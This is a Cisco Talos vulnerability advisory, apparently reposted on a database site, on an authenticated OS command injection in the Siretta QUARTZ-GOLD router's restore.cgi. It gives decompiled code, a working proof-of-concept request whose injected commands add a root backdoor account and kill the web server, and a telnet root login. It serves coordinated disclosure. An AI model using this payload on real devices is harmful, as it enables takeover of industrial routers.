logo
DATABASE RESOURCES PRICING ABOUT US

Siretta QUARTZ-GOLD httpd txt/restore.cgi OS command injection vulnerability

Description

# Talos Vulnerability Report ### TALOS-2022-1612 ## Siretta QUARTZ-GOLD httpd txt/restore.cgi OS command injection vulnerability ##### January 26, 2023 ##### CVE Number CVE-2022-40220 ##### SUMMARY An OS command injection vulnerability exists in the httpd txt/restore.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability. ##### CONFIRMED VULNERABLE VERSIONS The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor. Siretta QUARTZ-GOLD G5.0.1.5-210720-141020 ##### PRODUCT URLS QUARTZ-GOLD - <https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/> ##### CVSSv3 SCORE 7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H ##### CWE CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) ##### DETAILS The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP, LTE, WAN failover, and many others. The QUARTZ-GOLD router has a web server with several functionalities. One functionality sets several nvram variables and then reboots the router. This functionality is allowed through the `txt/restore.cgi` API. Following one of the functions involved in executing this API: void wi_restore_custom(char* url,size_t len) { [...] read_len = len; [...] tmp_dir_path[0] = '\0'; data_pointer = (void *)skip_header(&read_len); if (data_pointer != (void *)0x0) { [...] data_pointer = malloc(read_len); [...] is_same = web_read(data_pointer,read_len); read_len = read_len - is_same; strcpy(tmp_dir_path,"/tmp/nvram_restoreXXXXXX"); mktemp(tmp_dir_path); iVar1 = f_write(tmp_dir_path,data_pointer,is_same,0,0x180); [1] [...] tmp_dir_fd = fopen(tmp_dir_path,"r"); if (tmp_dir_fd != (FILE *)0x0) { while (buffer = fgets(web_data,0x200,tmp_dir_fd), buffer != (char *)0x0) { buffer = strdup(web_data); if (buffer == (char *)0x0) goto LAB_00016940; is_same = _vstrsep(buffer,"=",&nvram_key,&nvram_value,0); [2] if ((((1 < is_same) && (is_same = strcmp(nvram_key,"routersn"), is_same != 0)) && (is_same = strcmp(nvram_key,"et0macaddr"), is_same != 0)) && (((is_same = strcmp(nvram_key,"lan_hwaddr"), is_same != 0 && (is_same = strcmp(nvram_key,"wan_hwaddr"), is_same != 0)) && (is_same = strcmp(nvram_key,"wl0_hwaddr"), is_same != 0)))) { sprintf(system_command,"nvram set %s=%s",nvram_key,nvram_value); [3] system(system_command); [4] memset(web_data,0,0x200); [...] } [...] } `wi_restore_custom` will, at `[1]`, write the request’s body into a temporary file. The request’s body should contain a series of lines of the `<nvaram_key>=<nvram_value>` format. Indeed, at `[2]`, a line of the request’s body is parsed and split in two parts: the nvram key and the nvram value. At `[3]` the `nvram set <parsed_nvram_key>=<parsed_nvram_value>` string is composed; then it is executed at `[4]` using the `system` function. No command injection related checks are performed on the, supposedly, `nvram_key` and the `nvram_value`. This means that any value will reach the `system` function without command injection related checks. Because of this the `wi_restore_custom` function is vulnerable to an OS command injection. This vulnerability can lead to arbitrary command execution. ### Exploit Proof of Concept Sending a request like the following: POST /txt/restore.cgi?_http_id=<a valid TID> HTTP/1.1 Authorization: Basic <a valid basic auth> Content-Length: 428 Content-Type: multipart/form-data; boundary=c6ced257295a2b54067e956663d1fbda --c6ced257295a2b54067e956663d1fbda Content-Disposition: form-data; name="content"; filename="content" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `echo "">>/etc/passwd; echo "poc:x:0:0:root:/root:/bin/sh" >> /etc/passwd; echo "" >> /etc/shadow; echo 'poc:$1$HSeR2q0g$KOjqL5H5DKyLpf0H1apr51:0:0:99999:7:0:0:'>> /etc/shadow; while [ 1 ]; do killall httpd; done`=POC --c6ced257295a2b54067e956663d1fbda-- If the request was successful, it is now possible to access the device using `poc:admin` as credentials. For instance connecting, using telnet, to port 2323 we can provide the injected credentials: telnet 192.168.0.1 2323 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. QUARTZ-GOLD login: poc Password: root@QUARTZ-GOLD:/tmp/home/root# ##### TIMELINE 2022-10-14 - Initial Vendor Contact 2022-10-20 - Vendor Disclosure 2022-11-24 - Vendor Patch Release 2023-01-26 - Public Release ##### Credit Discovered by Francesco Benvenuto of Cisco Talos. * * * Vulnerability Reports Next Report TALOS-2022-1613 Previous Report TALOS-2022-1611


Related